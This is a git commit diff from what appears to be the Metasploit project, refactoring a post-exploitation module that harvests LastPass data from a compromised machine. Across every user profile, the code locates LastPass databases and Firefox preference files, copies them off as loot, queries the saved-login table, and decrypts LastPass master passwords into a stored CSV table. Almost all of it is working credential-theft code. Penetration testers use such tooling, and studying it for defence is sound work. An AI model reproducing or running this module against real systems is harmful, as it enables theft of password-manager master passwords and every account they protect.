Merge pull request #3 from jhart-r7/landing-4004-jhart

Final cleanup of LastPass module -- track account, more *print_ cleaning
bug/bundler_fix
Martin Vigo 2014-10-19 17:19:48 -07:00
commit a7dc0b9f07
1 changed files with 75 additions and 63 deletions

View File

@ -34,56 +34,60 @@ class Metasploit3 < Msf::Post
return return
end end
print_status "Searching for LastPass databases..." print_status "Searching for LastPass databases"
db_map = database_paths # Find databases and get the remote paths account_map = build_account_map
if db_map.empty? if account_map.empty?
print_status "No databases found" print_status "No databases found"
return return
end end
print_status "Extracting credentials from #{db_map.size} LastPass databases" print_status "Extracting credentials from #{account_map.size} LastPass databases"
# an array of [user, encrypted password, browser] # an array of [user, encrypted password, browser]
credentials = [] # All credentials to be decrypted credentials = [] # All credentials to be decrypted
db_map.each_pair do |browser, paths| account_map.each_pair do |account, browser_map|
if browser == 'Firefox' browser_map.each_pair do |browser, paths|
paths.each do |path| if browser == 'Firefox'
data = read_file(path) paths.each do |path|
loot_path = store_loot( data = read_file(path)
'firefox.preferences', loot_path = store_loot(
'text/javascript', 'firefox.preferences',
session, 'text/javascript',
data, session,
nil, data,
"Firefox preferences file #{path}" nil,
) "Firefox preferences file #{path}"
)
# Extract usernames and passwords from preference file # Extract usernames and passwords from preference file
firefox_credentials(loot_path).each do |creds| firefox_credentials(loot_path).each do |creds|
credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
end
end end
end else # Chrome, Safari and Opera
else # Chrome, Safari and Opera paths.each do |path|
paths.each do |path| data = read_file(path)
data = read_file(path) loot_path = store_loot(
loot_path = store_loot( "#{browser.downcase}.lastpass.database",
"#{browser.downcase}.lastpass.database", 'application/x-sqlite3',
'application/x-sqlite3', session,
session, data,
data, nil,
nil, "#{account}'s #{browser} LastPass database #{path}"
"#{browser} LastPass database #{path}" )
)
# Parsing/Querying the DB # Parsing/Querying the DB
db = SQLite3::Database.new(loot_path) db = SQLite3::Database.new(loot_path)
user, pass = db.execute( lastpass_user, lastpass_pass = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \ "SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \ "WHERE username IS NOT NULL AND username != '' " \
"AND password IS NOT NULL AND password != '';" "AND password IS NOT NULL AND password != '';"
).flatten ).flatten
credentials << [user, pass, browser] if user && pass if lastpass_user && lastpass_pass
credentials << [account, browser, lastpass_user, lastpass_pass]
end
end
end end
end end
end end
@ -91,30 +95,33 @@ class Metasploit3 < Msf::Post
credentials_table = Rex::Ui::Text::Table.new( credentials_table = Rex::Ui::Text::Table.new(
'Header' => "LastPass credentials", 'Header' => "LastPass credentials",
'Indent' => 1, 'Indent' => 1,
'Columns' => %w(Username Password Browser) 'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
) )
# Parse and decrypt credentials # Parse and decrypt credentials
credentials.each do |row| # Decrypt passwords credentials.each do |row| # Decrypt passwords
user, enc_pass, browser = row account, browser, user, enc_pass = row
vprint_status "Decrypting password for user #{user} from #{browser}..." vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
password = clear_text_password(user, enc_pass) password = clear_text_password(user, enc_pass)
credentials_table << [user, password, browser] credentials_table << [account, browser, user, password]
end
unless credentials.empty?
print_good credentials_table.to_s
path = store_loot(
"lastpass.creds",
"text/csv",
session,
credentials_table.to_csv,
nil,
"Decrypted LastPass Master Passwords"
)
end end
print_good credentials_table.to_s unless credentials.empty?
end end
# Finds the databases in the victim's machine # Returns a mapping of { Account => { Browser => paths } }
def database_paths def build_account_map
platform = session.platform platform = session.platform
profiles = user_profiles profiles = user_profiles
found_dbs_map = { found_dbs_map = {}
'Chrome' => [],
'Firefox' => [],
'Opera' => [],
'Safari' => []
}
browser_path_map = {}
if datastore['VERBOSE'] if datastore['VERBOSE']
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
@ -123,7 +130,9 @@ class Metasploit3 < Msf::Post
end end
profiles.each do |user_profile| profiles.each do |user_profile|
username = user_profile['UserName'] account = user_profile['UserName']
browser_path_map = {}
case platform case platform
when /win/ when /win/
browser_path_map = { browser_path_map = {
@ -145,30 +154,33 @@ class Metasploit3 < Msf::Post
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
} }
else else
print_error "platform not recognized: #{platform}" print_error "Platform not recognized: #{platform}"
end end
found_dbs_map[account] = {}
browser_path_map.each_pair do |browser, path| browser_path_map.each_pair do |browser, path|
found_dbs_map[browser] |= find_db_paths(path, browser, username) db_paths = find_db_paths(path, browser, account)
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
end end
end end
found_dbs_map.delete_if { |browser, paths| paths.empty? } #found_dbs_map.delete_if { |account, browser_map paths.empty? }
found_dbs_map
end end
# Returns a list of DB paths found in the victims' machine # Returns a list of DB paths found in the victims' machine
def find_db_paths(path, browser, username) def find_db_paths(path, browser, account)
paths = [] paths = []
vprint_status "Checking #{username}'s #{browser}..." vprint_status "Checking #{account}'s #{browser}"
if browser == "Firefox" # Special case for Firefox if browser == "Firefox" # Special case for Firefox
profiles = firefox_profile_files(path, browser) profiles = firefox_profile_files(path, browser)
paths |= profiles paths |= profiles
else else
paths |= file_paths(path, browser, username) paths |= file_paths(path, browser, account)
end end
vprint_good "Found #{paths.size} #{browser} databases for #{username}" vprint_good "Found #{paths.size} #{browser} databases for #{account}"
paths paths
end end
@ -205,7 +217,7 @@ class Metasploit3 < Msf::Post
end end
# Extracts the databases paths from the given folder ignoring . and .. # Extracts the databases paths from the given folder ignoring . and ..
def file_paths(path, browser, username) def file_paths(path, browser, account)
found_dbs_paths = [] found_dbs_paths = []
if directory?(path) if directory?(path)